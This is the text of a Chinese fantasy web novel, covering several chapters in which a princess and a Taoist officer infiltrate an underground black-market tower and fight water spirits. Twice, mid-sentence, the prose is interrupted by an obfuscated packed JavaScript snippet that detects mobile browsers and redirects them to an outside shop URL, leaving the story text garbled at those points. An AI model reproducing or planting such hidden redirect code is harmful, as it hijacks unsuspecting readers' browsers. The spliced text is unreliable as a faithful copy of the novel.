青窈给贺兰漪梳着头,她至今也想不明白贺兰漪怎么就突然喜欢上卫胥,还非他不可了,“郡主,我记得那时候卫胥只在您身边做了三个月的护卫啊,您就?” 对上青窈好奇的目光,贺兰漪脸上浮现一抹小女儿的娇羞之态。 但关于自己是如何喜欢上卫胥的记忆在脑海中却又是一片空白,她自己也记不得了,只是觉得喜欢卫胥似乎就是一件理所当然的事,没有缘由,自然也没有前因后果。 “卫胥的出身的确是低了些,可他相貌堂堂,人品贵重,待他立下军功定然还会擢升的,”贺兰漪左手手指轻叩着黑漆花腿方桌的桌面,眉峰微扬,“皇祖母的生辰快到了,到时候我送上一份大礼,或许皇祖母一高兴,就会允我去蔚州找卫胥了。” “呜呜呜……”凄厉古怪的哭声伴着冰凉的水汽从刚刚打开的支摘窗透进来,落进耳中。 贺兰漪被吓得一激灵,神情僵在脸上,她抬起脸,僵硬地侧头问,“青窈,你听见有人在哭吗?” 青窈紧张地望向窗边,挂在窗边镶着驼骨和砗磲的金笼子里的五彩鹦鹉踩着栖杆跳来跳去,尖喙张合重复着:“郡主,郡主”,她竖起耳朵仔细听着。 “呜呜呜……”哭声再次从外面落进来,比起刚才,凄厉更甚。 但青窈静静地听了几秒,突然眉心蹙起,快步绕过屏风隔断,离开了内室。 不一会儿,青窈把哭得抽抽搭搭的昭儿领了进来。 “刚刚是你哭的啊?”贺兰漪的左手捂着胸口,惊魂未定。 昭儿脸上泪痕未干,跪在地上点了点头,“我躲在角落里哭的,以为传不过来呢,惊扰了郡主,还请郡主恕罪。” 青窈把大夫引进来,给贺兰漪右胳膊上的伤口换药,“你大白天哭什么啊?” “我今日出去采买西京雪梨,遇见了礼部尚书家的女使杏儿,她跟我说,跟我说,”昭儿越想越害怕,眉头紧锁,肩膀抖如筛糠,“说罗仙观是妖邪开设的道观,许的愿望都是要拿自己的命来换的,汴梁城如今有好多小娘子失踪了,我昨日里才去了罗仙观上香,怕是不知道什么时候就会有妖怪来索我的命了。” “这世上哪有妖怪,”青窈强装镇定,“还有什么罗仙观,我怎么从未听说过城中还有这个道观?这简直是危言耸听!” 昭儿眯着哭肿的眼,抬眸看了看贺兰漪房内被青窈挂满的桃木剑和黄符,瘫坐在地上,嘴一歪,又想哭出声来,青窈眼疾手快地捂住她的嘴,把她从地上扶起来带了出去。 “刘大夫,你可曾听说过什么罗仙观吗?”贺兰漪蹙着眉,换药疼得倒抽一口凉气。 这位刘大夫是鸡儿巷很受追捧的名医,医术精湛,为人性子温和,话也不多,脸上常年戴着大半张面具,汴梁城的高门贵眷很喜欢请她入府中诊病,因而她也常常能闻知京中的新鲜事。 刘大夫拿出银针给贺兰漪扎了扎胳膊,以疏通经络,“我并未去过罗仙观,只是听闻这罗仙观在外城的姑灌山里,大约是半年前新起的一座道观,里面供奉着一座九天玄女像,极其灵验,但近三个月来,似乎是有小娘子去上香之后,回家不久就消失了踪影,至于刚刚那位女使说的妖怪,倒是有些闲言碎语,但传来传去并没有什么真凭实据,想来若是真有妖怪,开封府的差爷们定然不会坐视不理吧。” 针灸完,刘大夫收拾药箱准备离开,同钰突然进来,站在屏风后面,“郡主,王九回来了。” “王九回来了!”贺兰漪顾不上喝药,急匆匆地夺门而出,跑到走廊上时瞧见了满身是血的王九。 “郡主,”王九看见贺兰漪后,再也绷不住了,泪水喷涌而出。 “你去哪了?到底发生了什么?”贺兰漪眼里噙着泪,让人扶住王九。 王九喉结滚动,刚开张开嘴,就吐了一口鲜血。 这可把贺兰漪吓得不轻,忙让府兵把他抬去了旁边的厢房,正好刘大夫在这里,给王九瞧了瞧身子,说是些皮外伤又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“鬼樊楼,”王九抬头看向贺兰漪,“郡主,就是咱们上次去的那个房间楼上,我一直被关在那里,一天三顿好吃好喝地送来,我打晕了一个小厮换上了他的衣裳,跑出来的。” “我装晕的时候还听见有个女人喊‘楼主’,我们家郎君的死肯定跟那鬼樊楼楼主脱不了干系。” 贺兰漪越听越觉得这事奇怪,“既如此,你这一身的伤是怎么弄的?” “我从鬼樊楼跑出来,坐船离开地下城,可中途暗河水面上突然起了大雾,我不小心掉进了河里,那河里有会唱歌的怪物,一直在咬我的肉,我好不容易爬上船,身上就都是血了。” “郡主,我们,我们家郎君的尸首可下葬了吗?”王九哭的满脸是泪,呼吸困难。 王九刚逃出来,贺兰漪怕诈尸的事吓到他,因而只是说,“还没有,段如远的尸体现如今有人看着,你先休息,等你养好了伤,我就带你去见他。” 贺兰漪离开房间后,宋少衡也一起出来,嘱咐宋巍去问清楚王九被关起来的房间。 两人走在廊下,宋少衡轻语道:“郡主,我今夜便带人去鬼樊楼一趟,查一查那鬼樊楼楼主的底细。” 贺兰漪停住脚步,“我跟你一起去。” 5. 第 5 章 宋少衡也随之停下脚步,薄唇微动,“郡主,我今日上午已经加固了长公主府的护元法阵,如今背后之人夺舍的计谋没有成功,想来他定然会再次出手,此去鬼樊楼危险重重,于您而言目前呆在府中更为稳妥。” 贺兰漪摇了摇头,盯着宋少衡的眼睛,坚决道:“不管,我就要去。” 宋少衡看着贺兰漪耍赖的模样,一瞬间面前的场景与前世的记忆重叠,他莫名有些害怕,怕如今经历的这一切只是一场幻梦。 “宋少衡,你发什么愣啊,”贺兰漪在他眼前挥了挥手,蹙着眉,“我跟你说话呢。” 回过神来,宋少衡慌忙垂下眼帘,“是。” “是什么?”贺兰漪凑近问他,歪着头,根本不给宋少衡拒绝的机会,“那咱们就这么说定了,我要一起去。” 说罢,贺兰漪一溜烟儿就跑没影了。 宋少衡长身鹤立地站在廊下,静静地望着贺兰漪消失的拐角,随后低头摸了摸自己腕上的赤金蛇镯,脸上浮现了一抹若有若无的笑意。 只要贺兰漪此生能平安康泰,不要重蹈覆辙,像上一世一样变成一具躺在棺材里的冷冰冰的尸体,即便要他拿自己的命来换,他也是愿意的。 只是,鬼樊楼之行的确危机四伏,他不想让贺兰漪冒险。 因而宋少衡直接去找了同钰,在问清鬼樊楼来往一趟需要耗费的时间后,让同钰配合把他们前去鬼樊楼的时间往后说两个小时。 “管军,这行吗?”同钰一脸为难,“您不知道我们郡主那个性子,她若是知道我故意骗她,怕是会闹翻天的。” “我知道她的脾气的,”宋少衡的声音弱不可闻。 “管军,您说什么?”同钰没听清。 “没什么,”宋少衡眨了下浓密睫羽,“我回来的时候会给她买王记的桃花酥来,再同她好好解释,想来她便不会生气了。” “就按我说的做吧。” 宋少衡嘱咐完同钰,还要去开封府衙清点人手,转身匆忙离开。 只留下一脸茫然的同钰站在原地,挠了挠头,“奇怪,他怎么知道我们家郡主喜欢吃桃花酥的?” 虽然觉得此事有些冒险,但同钰觉得宋少衡的话有道理,贺兰漪这会儿的确不该跟着去鬼樊楼冒险,呆在府中才是最安全的。 因而他安顿好王九后,径直去了玉露堂。 彼时,贺兰漪正坐在美人榻上,手里把玩着一把白玉团扇,不解问道:“你说,我让你去买的扇子?” 贺兰珩之身边的女使兰月点了点头,“对啊,七日前不是您专门去莲居说要我去买团扇的吗?还说必须要白玉扇柄的,浮云楼没有现货,连夜从甘州调来的,做好之后,今日下午小厮便送过来了。” 这扇面上描着一副再平常不过的秉烛夜游图,寺庙,三两僧人,夜宿山寺的书生,根本瞧不出什么新奇来。 贺兰漪不明白自己为什么会让兰月去买个这东西回来,而且就兰月说的自己去莲居找她,贺兰漪对此毫无记忆。 因为她那天一大早喝了三坛千里春,或许是那时醉了发酒疯。 “罢了,放这吧。” “您答应要它留下来,对吗?”兰月的眼珠子僵硬地转了一圈,但这种诡异的状态又转瞬即逝,迅速恢复了正常。 此时贺兰漪瞧见同钰过来了,满心满眼都是要去鬼樊楼的事,并没注意到兰月的异常,因而随口应道,“是,留下吧。” 兰月离开后,同钰按照宋少衡嘱咐他的,告诉贺兰漪说他们要去鬼樊楼的时间在今夜子时。 贺兰漪蹙着眉,“怎么会这么晚?” 同钰紧张地吞了下口水,把视线移到旁边花几上,“我也不知道,宋管军就是这么告诉我的。” “哦,”贺兰漪打量着同钰心虚的神情,不用猜也知道这小子在撒谎,“我知道了,那我就在这等着宋少衡子时来找我。” 同钰见贺兰漪答应了,就离开了房间,在走廊碰见端着晚饭过来的青窈后,还差点撞到她。 “你走路当心些啊,”青窈被他吓了一跳。 同钰应声后,往前走了两步,又停下喊住了青窈,嘱咐说,“郡主身上有伤,你多注意些,不要让她自己出去乱跑。 青窈点了点头,“我知道的。” 但贺兰漪可不是个能乖乖听话留在府里等消息的主。 吃完晚饭后,不远处的袄庙撞响了酉时的晚钟,贺兰漪假意告诉青窈说自己要睡一会儿,让她退了出去。 随后立刻找出件黑斗篷套在身上,轻车熟路地爬上房顶,在同钰和宋安以及一众殿前司侍卫的眼皮子底下从南园早已废弃的暗渠里溜了出去。 * 东京汴梁城底下有座地下城,在地下城住着的大部分是乞丐、盗匪、逃兵、邪道、肉僧、女巫、流氓无赖还有下等妓女,这些人逐渐形成了一股势力,在暗无天日的地下做着黑市的买卖。 而鬼樊楼就位于地下城内,鱼龙混杂。 地下城的入口在外城北边人烟稀少的废弃码头,一般人找不到路,除非有专门的艄公带着去,而且要去地下城就只能走暗河的水路。 “什么时候开船啊?”贺兰漪脸上蒙着黑纱,百无聊赖地坐在船舱里,左手食指轻轻敲着发黑的木板,开口问站在船头上的艄公。 “娘子莫急,等船上坐满了人,咱们即刻就开船。” 贺兰漪扭头看了眼窗外阴沉的天色,现在外面仍在落雨,想来今日去往地下城的人应该会比往常少一些,还不知道得等到什么时候才能开船。 她的时间可宝贵得很。 贺兰漪正欲开口说要给艄公加钱,让他马上开船,身边突然坐下一群穿着黑色斗篷的郎君,将船舱坐了个满满当当。 “好嘞!各位客官可要坐稳当了,咱们开船了!”艄公拉长音调,手里的船桨晃晃悠悠荡开来。 不知道为什么,贺兰漪总觉得旁边的人一直在盯着自己。 于是她横着眉,侧过脸,打算恶狠狠地警告这人若是再敢盯着自己就要把他的眼挖出来当下酒菜。 但就在贺兰漪看清那年轻郎君的脸的一瞬间,她瞪大了眼睛,悄声道:“宋少衡,怎么是你啊?” 还不等宋少衡问她为什么会在这,贺兰漪先发制人,气冲冲地兴师问罪道:“你骗人,你不是让同钰跟我说子时去吗?” 宋少衡深知此时是无法劝贺兰漪回去了,因而只是乖乖道歉,“此事的确是属下的过错,下次不会再发生这种事。” 见宋少衡认错态度良好,贺兰漪气鼓鼓地哼了一声,“下不为例!” 宋少衡轻声,“是。” 贺兰漪眨巴着她那漂亮的大眼睛,瞥了宋少衡一眼,压低声音,“你是怎么打算的?” 宋少衡从黑色斗篷下掏出一个白竹海棠方盒来,打开让贺兰漪看 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大约半个时辰后,贺兰漪他们终于能遥遥望见地下城的城墙了。 “过去那门洞之后,还要再往前走,鬼樊楼还要在更里面呢,”船头上的艄公扬声道。 城墙下水门的铁闸缓缓升起,艄公跟着前面的船队,将船从圆拱形的水门下划进去。 众人面前突然陷入黑暗之中,宋少衡喉结微动,抓着剑柄的手紧了几分,时刻注意着贺兰漪身旁的动静,待船头从水门出来后,面前又变得骤然开阔亮堂起来。 暗河两岸都悬着红灯笼,映在河水里一串串的红绸似的,波光粼粼,有许多黑布蒙面的商贩站在河边招揽生意,甚至于河面上还有花船在卖东西,竟是与地上的汴梁城有几分相似。 “郎君,新鲜的千年王八肉,滋阴补阳,来一块吧,”裸着大腿的貌美娘子支着胳膊躺在船头上,朝船舱内的宋少衡挑着眉,染着鲜红蔻丹的修长手指勾了勾。 贺兰漪上次来的时候没有见过这位娘子。 她轻轻啧了一声,看了眼宋少衡俊美的脸,心想貌美的郎君果然在哪都是受欢迎的。 但宋少衡却像没看到那风姿绰约的娘子一般,冷着脸连眼皮也不抬一下。 “真是个有趣的郎君呢,”那娘子突然从船头上站起身来,脚尖轻点,借着船身的势飞身一跃到了贺兰漪他们的船上。 宋巍作势便要拔剑,被宋少衡眼神示意收了回去。 长长的薄纱拖在身后,她一步一扭地来到船舱前,掀起帘子探头望向里面。 竟是一水的郎君。 不,还有个模样惊人的小娘子,即便以黑纱覆面,但光从露出的两个眼睛也能瞧出此人姿色不凡来。 “怪不得郎君不理睬我,原是身旁已有了陪伴之人,”她嗓音软糯,提裙准备走进船舱里。 “娘子,我们今日来是有正事,”宋巍起身挡在船舱门口,从袖口掏出一袋金饼递过去,“娘子卖的东西我们无福消受,这个,便只当是买路钱了。” 谁知这女人居然推开了金饼,眼波流转地歪头看向坐在船舱里的贺兰漪,“我不要这个,我就想让那个娘子把面纱摘下来给我瞧上一眼,在这里,为了别的娘子不搭理我的,那位郎君是第一个,只要她把脸露出来,我就放你们过去。” 6. 第 6 章 “喂!”贺兰漪背倚着船舱,侧过脸,望向那丰满妖艳的娘子,觉得莫名其妙,“你瞧上了他,和我有什么关系?” “呦,”那站在船尾风姿绰约的娘子眉梢轻挑,抬手扶了付自己头上高耸仙人髻里簪着的双股流苏银钗,继续歪着头望向船舱内的宋少衡,软语娇嗔道:“原来你们俩不是一对啊,这倒是老身,哦,是妾身看走眼了。” 她说着便要抬步走进船舱里。 可宋巍挡在她面前,寸步不让。 “你这小郎君怎得如此没有眼色,”她冷冷地勾起唇,斜眉入鬓,修长的手指戳了戳宋巍的胸口,红唇微张,“我不过是想同你家郎君说两句话,又不会吞吃了他。” “娘子想说什么,便站在这里讲吧,”宋少衡从船舱里走出来,黑色斗篷风帽下露出一张俊美冷淡的脸来。 “妾身青娘,不知郎君姓甚名谁,来此作甚啊?”宋少衡的模样可是长在了青娘的心坎上,高眉深目,骨相绝佳,她越瞧越觉得舒心惬意,若是能把此人长长久久地留在地下城倒不是个不错的主意。 说罢,青娘的眼角余光又落在了坐在船舱里的贺兰漪脸上,她思忖着等取了那小娘子的人皮套在身上,再与面前这年轻郎君双宿双飞,往后的日子怕是要比皇帝过的还逍遥。 可宋少衡却突然挪步,挡住了青娘的视线,示意宋巍再拿出两袋金饼递给她,声音硬冷,“娘子,劳烦您行个方便。” 青娘看着宋少衡,满脸笑意地接过来三袋金饼,放在手心里颠了颠,分量极重,她转身将这三袋金饼抛向空中,随即便有人用极长的捞鱼网接住,收了回去。 “既已收了钱,还请娘子回去吧,”宋巍面容冷肃。 “回去?”青娘媚眼如丝,走到宋少衡面前,抬手想抚上他的脸,结果被宋少衡偏头躲了过去,但青娘并不恼怒,只是掩嘴轻笑几声,挑眉道:“郎君留在这陪我吧,只要你留下来,我就放这船过去,如何?” 宋少衡上下打量一眼青娘的腰身。 “怎么样,郎君,您留下来,妾身可绝不会薄待于您,”青娘将身上的红纱长袖挥到宋少衡脸上,一股甜腻的香气扑面而来,她也再次倾身凑了过来。 可红纱落下的一瞬间,青娘脖子上就架上了一柄闪着寒光的利刃。 “你如果现在识趣滚开,我还能留你一条命,”宋少衡手里握着剑,冷冽的眼瞳里竟没有一丝要怜香惜玉的意思。 青娘唇角僵硬地弯起一抹弧度,抬眸盯着宋少衡的眼睛,楚楚可怜地问道:“郎君当真要如此无情吗?” “还有,你若是敢将手里的鬼镖抛出去,你信不信我立时便将你的脑袋割下来?”宋少衡的眸色沉了下去,手持长剑,剑刃锋利,青娘的脖颈已然逐渐沁出了血迹。 “郎君误会了,”青娘右手讪讪地收回了要砸向贺兰漪的鬼镖,一步一后退地挪去船边,又飞身退回了自己船上,“我同您玩笑呢。” 她站在船板上,脸上带着假笑,目送宋少衡他们的船逐渐远去。 可眨眼间,青娘的满头青丝在下一刻迅速变白,整张脸也变得皱纹斑斑,两腮下垂,活像个老妖怪。 “老太婆,这次碰到硬茬了吧,”一个佝偻着腰的小矮人看热闹不嫌事大地从花船里面爬出来,又摆了几块鲜亮的王八肉在外面。 “哼!”青娘白了他一眼,捂着脖颈的伤口,弯腰走进船舱,跪坐拿镜子照了照自己的脸,面目狰狞,桀桀桀地笑出了声来,唇角弯出诡异弧度,“碰到硬茬又如何,我让他有命来,没命走!” 她掐手吹哨,一只红色的乌鸦扑棱着翅膀从窗户飞落在她右肩上,她同那乌鸦低语几句,没多久,暗河河面上逐渐浮起白色大雾,愈来愈重,将贺兰漪他们的来路遮了个干干净净。 “客官们今日来的巧!”艄公抬头望向桥洞对面层楼叠榭的鬼樊楼,萧声丝丝入耳,魔音一般,“鬼樊楼今日有唱宝会,怕是能见到不少好东西喽!” 码头上早就有小厮等在楼梯上,船身停稳后,宋少衡先下船,随后转身让贺兰漪扶着他的胳膊下来,宋巍等人跟在身后。 鬼樊楼碧瓦朱甍,闳宇崇楼,飞阁流丹,外面扎着的彩楼欢门极其壮观,竟是比地上的樊楼也不遑多让,只是楼上密密麻麻悬着的红栀子灯着实惹眼了些,窗户上一排舞女影子腰身纤瘦,婀娜多姿。 迎过来的小厮一眼就瞧出贺兰漪贵气不凡,怕是地上哪家高门的千金小姐过来瞧热闹的,因而殷勤备至地问道:“娘子是打尖还是住店?” “住店,要最好的房间。” 小厮接过一袋子熙宁通宝,高高兴兴地引着贺兰漪穿过长长的天井廊道,去到后面楼上二楼的天字号房间。 “娘子稍等,茶博士马上就来,”小厮殷勤道。 贺兰漪眉眼弯弯,打量着房间四周,又转身喊住那小厮,眼睫微动,让宋巍塞给小厮一块金饼,“喝茶倒不急,我有一宝物,想在唱宝会上出售,不知该同谁商量此事啊?” “我马上把牙娘给您喊来,”小厮乐呵呵地把金饼收进袖口里。 门关上后,耳边尽是丝竹乐声。 “这里就是我们上次住的房间,”贺兰漪看了眼宋少衡,走到南墙窗边,打开窗后能瞧见下面的小湖,“王九之前应该就是被关在上面,你在这拖一会儿,我马上下来。” 宋少衡一把抓住了想要翻窗出去的贺兰漪的左手手腕,温声道:“您右胳膊不方便,不如让宋巍过去查看。” 贺兰漪眨了眨眼,她的右胳膊做大幅动作的确还有些疼,于是她收回了跨上窗栏的腿,“那好吧。” “外面有梼杌奴巡逻,他们能听见动静,但视力不太好,小心些,”宋少衡松开贺兰漪的手后,嘱咐着宋巍。 宋巍点了点头,十分利落地翻出了窗外。 几乎是窗户关上的同时,牙娘在外面敲响了房门。 贺兰漪慌忙抚平身上衣裙的褶皱,十分文雅地坐在了桌边的圈椅上,给自己倒了一杯温水。 “见过娘子,”牙娘进来后,打量着屋内众人,满脸笑意地走到贺兰漪面前,“不知宝物在哪?” 贺兰漪给宋少衡使了个眼色。 宋少衡从袖口里掏出那只白竹海棠方盒,打开盒盖,露出里面的夜明珠。 牙娘看到夜明珠后,眼神瞬间就亮了,“娘子,可否容我拿起来看看?” 贺兰漪端起茶盏,漫不经心地点了点头。 牙娘隔着帕子拿起来夜明珠,对着屋内的灯火看了看成色,珠子圆润硕大,泛着莹莹紫光,折射出极其清澈的光亮,“不错,是个难得一见的宝贝。” “娘子,我们这里的规矩是七三分账,”牙娘小心翼翼地托着夜明珠重新放回方盒里,“按照如今的货物数量大约需要三天后在唱宝会展示,您是想把宝物先寄放在我们的宝库里,还是我先发您一个金浮签,先将宝物标记,等三天后再来?” 贺兰漪把白瓷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746860|145308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶盏放回桌上,蹙起了眉头,“我若是想要今日便卖出去呢?” “这……”牙娘有些为难,“我们这里惯常是按规矩行事的,我做不了这个主。” “那便把你们楼主喊来吧,这珠子有些别的事我还要跟她交代清楚。”贺兰漪抬眸看向牙娘,“我急着出手,七三分还能再商量。” 牙娘知道那珠子是个价值连城的宝物,思忖过后,笑着开口,“娘子稍等。” 那牙娘离开的间隙,宋巍翻窗回来,还带回来一幅画。 “我翻了一遍,那屋子里并没有什么异样的东西,只是这画应该有些用处,”宋巍把画递给宋少衡。 展开画轴,上面是一张窈窕美人图,只是这上面的娘子脸上蒙着白纱,只露出额头和眼睛来,腰间还系着一个双螭青莲佩。 “至熙宁二年八月甘又三日为鬼樊楼楼主作于镜湖岸边……”宋少衡看向贺兰漪。 “这画上是雪卿娘子,”贺兰漪不可置信地盯着画,压低声音,“腰间那只双螭青莲佩是她常戴着的。” “咚咚!”外面突然有人扣门,传来牙娘的声音,“娘子。” 宋少衡让人把画卷起来收好。 牙娘进来的时候,贺兰漪依旧是坐在桌边漫不经心地假装抿着茶水,她放下茶盏,侧脸看向跟在牙娘身后的年轻娘子,“这位便是楼主吗?” “我们楼主今日不在,妾是这楼里主事的,名唤朝华,娘子有事可以同我商议。” “朝华?”贺兰漪左手手指轻轻扣着桌面,起身打量着朝华,“你当真能做得了主?” 朝华唇边含笑,视线落在贺兰漪的右臂,又移开来,“那是自然。” “那好,”贺兰漪轻笑一声,重新坐回圈椅上,“这珠子我可以不要钱。” 朝华警惕地望着她,“那娘子的意思是?” 贺兰漪眉梢轻挑,“我需要一批名贵香料,越稀有越好,若是你们这里有,我可以拿这个珠子来换。” “名贵香料,自然是有的,娘子在这屋内稍候,我马上取来。”朝华浅笑着,转身就欲带着牙娘离开。 “呵!“贺兰漪冷笑一声,轻蔑地睨了朝华一眼,起身准备离开,“我瞧着你们这里约莫是没有的,我们走吧。” 朝华慌忙伸手拦住贺兰漪,挡在她身前,“娘子此话何意啊?” “若是寻常的小四合香、檀香、乳香便不必拿出来了,除了让我等着便是让我等着,本姑娘的时间可容不得你们这么浪费。”贺兰漪神态倨傲,冷声道。 “娘子多虑了,我们库中有千金难买的龙涎香和上等沉香,定然不会让娘子的夜明珠亏本。”朝华脸上依旧挂着温柔的笑意。 “哦,当真?”贺兰漪打量着朝华,随意开口道:“那你们这里可有今年的白笃耨?” “这,倒是没有,”朝华继续道,“不过,若是娘子想要的话,我可以让人去收购,只是娘子需要等些时日。” 贺兰漪若有所思地看了眼站在朝华身后的牙娘,牙娘陪笑着点了点头。 “罢了,快去取来吧,我在这等着。”贺兰漪又重新坐回了桌边,拿了茶盏又重重放下,傲慢道:“还有,让他们上壶新茶来!” “娘子稍待,我马上就来,”朝华勾起唇角,意味深长地看了眼贺兰漪。 门合上后,宋少衡竖着耳朵仔细听了听,似乎是有大批的人正往这个房间赶来。 “郡主,这里不能呆了!” 7. 第 7 章 大批梼杌奴破门而入的时候,宋少衡和贺兰漪他们早就跳窗混入了唱宝会喧杂的人群中。 “不要让那个小娘子死掉,其余的,全部杀掉!”朝华眼神阴冷地盯着空荡荡的窗边。 鬼樊楼上下的梼杌奴开始搜捕贺兰漪。 准备藏在拥挤人群里混出鬼樊楼的贺兰漪和宋少衡等人已经走到了天井的回廊下面,眼看着大门就在眼前。 可突然来了一队梼杌奴挡在了门口,每一个离开的人都必须摘下黑色斗篷露出脸看过之后才能放出去。 “怎么办?”贺兰漪望向身旁的宋少衡。 “等下我在那边制造混乱,把人引走,”宋少衡环顾四周,用下巴指了指西边唱宝会的吵嚷看台,“宋巍会保护着您离开,上船之后让艄公马上开船,我来之前打听过,这些梼杌奴没办法去到河面,只要船划走,您就安全了。” “那你怎么办?”贺兰漪拽住了转身要离开的宋少衡的斗篷衣角。 “郡主不必担心,我会尽快赶过去的。” 宋少衡转过身去,唇边弯起淡淡的弧度,但又转瞬即逝,提着剑挤过去了西边看台。 贺兰漪望着他宽阔的背影,总觉得似曾相识。 “郡主,咱们去那边,”宋巍带着贺兰漪去到离大门口更近一些的花厅。 没一会儿,西边看台便乱了起来,吵嚷声,叫骂声,桌子掀倒的声音,女妓的尖叫声,门口的那群梼杌奴立刻就被引了过去。 “郡主,是时候了!”宋巍和其他手下齐齐拔剑,将贺兰漪合围护在身后,朝门口冲了过去。 可他们没料到,门外面还埋伏着一队梼杌奴,瞧见宋巍他们冲出来就拔刀迎上。 两方打斗在一起,场面一时混乱不堪。 幸而宋少衡带来的人都是精心挑选的禁军精锐,和这些脸上戴着青铜面具的梼杌奴打斗起来并不落下风,只是这些梼杌奴似乎感觉不到疼痛,即便是脖子被刀剑刺穿,依旧能继续战斗。 耳边都是刀剑嗡鸣的砍杀声,宋巍护着贺兰漪且战且退,很快就逃到了船上,除了有几个胳膊负伤的士兵,其他人都没有受伤。 眼看着船离码头越来越远。 贺兰漪不禁有些着急,看向宋巍,“宋少衡怎么还没跟上来!” 宋巍面上镇定,但他心里也没有谱。 他们这位二郎君是半月前的一天深夜回来的汴梁城,当时宋少衡站在门口,身上都是伤,见到人后便晕了过去,大夫说救回来的可能性不大,府上闭门谢客,封锁了消息,他们家相公一直守在旁边十多天,陪着宋少衡硬生生熬了过来。 其实到现在宋少衡身上的伤都还没好利索。 “不行,你把船给我划回去!”贺兰漪扭头朝艄公扬声喊着。 见艄公不动,贺兰漪看向宋巍,着急催促道:“你让他把船划回去啊!你们副都指挥使还在那里呢!” “郎君嘱咐过,不能回头,”宋巍垂下眼帘,“您不能出事。” 贺兰漪郁闷地看着宋巍,径自跑到船尾,气冲冲地要把船桨从艄公手里夺过来。 两人正争执的时候,贺兰漪突然望见宋少衡从鬼樊楼里杀了出来,正往码头这边赶。 “快点,他出来了!” 宋巍扭头看了眼,果然瞧见了宋少衡,因而直接跑出来从艄公手里抢过来船桨。 没一会儿,几个手下便奋力又将船划了回去。 “这边!这边!”贺兰漪站在船头冲宋少衡着急挥着手。 宋少衡提剑踹倒了一片,眼看着就要退到码头边缘了。 “小心,那里有人在拉弓!”贺兰漪眼尖地注意到站在鬼樊楼二楼灯笼阴影里拉弓瞄准宋少衡的朝华。 宋少衡闻言,飞身落回船上的同时,及时抬剑劈裂了近在咫尺的利箭,与此同时,宋巍带着人拿着神弓弩箭雨般射到朝华所在的二楼。 等疾促的箭雨过去,贺兰漪他们的船已经行远了。 “娘子,她逃走了,可怎么办?”小厮负手走到朝华旁边。 朝华拔出廊柱上没入极深的利箭,在手心转了一圈,冷笑道:“哼!她逃不出楼主的手掌心的!” 船舱里的贺兰漪担忧地看了眼坐在旁边的宋少衡,“你可受伤了?” 宋少衡摇了摇头,温声道:“我无事的。” “郡主为什么要问那女管事香料的事?” 贺兰漪压低声音,凑近道:“我在她身上闻到了我用的白笃耨的香味。” 此时的船已经驶出了悬着水闸的城墙墙洞,大约十几分钟后便能从暗河里出去,回去外城的废弃码头。 但一个手下突然进来,“郡主,郎君,那艄公不见了!” “什么?”贺兰漪猛然从船舱座位上站起来。 他们俩出去后,才发现暗河水面上弥漫着白色大雾,而且越来越浓,连不远处的其他船只都瞧不见了,只剩满眼的大雾。 “怎么会突然起这么大的雾?”贺兰漪站到栏杆边,伸手在水面摸了摸,烟雾如水绸一般,从指缝里漏了出去。 宋少衡小心地注意着四周,察觉到应该是有妖异作怪。 “带着郡主回去船舱里,让她不管发生什么都不要出来!”宋少衡嘱咐着宋巍。 贺兰漪回去船舱后,宋少衡站在船边望着诡异的黑黢黢的河面。 没一会儿,河面上便从四面八方开始咕嘟咕嘟冒泡,虚无缥缈的大雾中,似乎有歌姬在吟唱乐曲—— “金陵路、莺吟燕舞。算潮水、知人最苦。满汀芳草不成归,日暮,更移舟、向甚处?”① 宋少衡左手捻诀,附在他腕骨上的赤金蛇镯化出了曜灵剑的真身。 “郎君!”宋巍站在不远处高声喊道。 一大群披散着头发,湿漉漉穿着大红衣袍的水祟伏着身子从船尾爬上船来,越聚越多。 那些手下挥剑根本无济于事,剑身直直地从那水祟的身体内穿进去,拔出来之后剑身变黑,但对水祟没有任何杀伤力。 反而是有人被水祟抓住了腿,要将他拖进水里去。 “抓紧栏杆!”宋少衡割破食指,用血在曜灵剑上画出避邪符,随即挥剑砍向半身入水拖拽着人腿的水祟。 伴着水祟捂着头尖锐的嚎叫声,伤处黑烟滚滚,其余的水祟纷纷朝宋少衡涌扑了过来。 宋少衡和那些水祟奋力砍杀起来,可河面上的水祟数量庞大,并且有的故意躲开了宋少衡的剑,冲着宋巍他们那些手下爬了过去。 “来之前让你带的屏息符,找出来贴在身上,快去保护郡主!”宋少衡手里攥紧剑,又砍下一个水祟的头,冲宋巍高声喊着。 宋巍把屏息符贴在身上后匆忙跑去船舱里找贺兰漪。 可船舱里空空荡荡。 宋巍有些慌神,从船舱里跑出来,“郎君,郡主不见了!” 此时的贺兰漪已经眼神失焦,不受控制地走到了船头,身边黯淡的灰陶灯闪着莹莹光亮。 已经静候在水下已久的水祟还在吟唱着乐曲,“雨恨云愁,江南依旧称佳丽。水村渔市,一缕孤烟细。天际征鸿,遥认行如缀。平生事,此时凝睇,谁会凭栏意……”②引诱着贺兰漪一步一步往水里走去。 终于,“扑通”一声,贺兰漪落入了浮着茫茫大雾的水里。 宋少衡提剑赶过来的时候,已经瞧不见贺兰漪的踪影了,他果断地割血渡剑,闭上眼睛,右手捻诀,“合雷道法,空行自渡,三千邪祟,破!” 接连不断的爆炸声在满是大雾的暗河水面上响起,掀起阵阵水波,与此同时,水祟的哀嚎声也凄厉地一起炸开来。 宋少衡咽下喉口腥甜的鲜血,毫不犹豫地跳下暗河。 而已经落入水里的贺兰漪在水祟被宋少衡除掉的一瞬间,也恢复了神识,睁开眼睛后呛了好几口黑水,鼻尖都是腥臭的血腥味。 她挣扎着想浮上水面,可似乎仍有没完全死透的水祟死死地抓住了她的腿,想将她彻底溺死,拖进河底去。 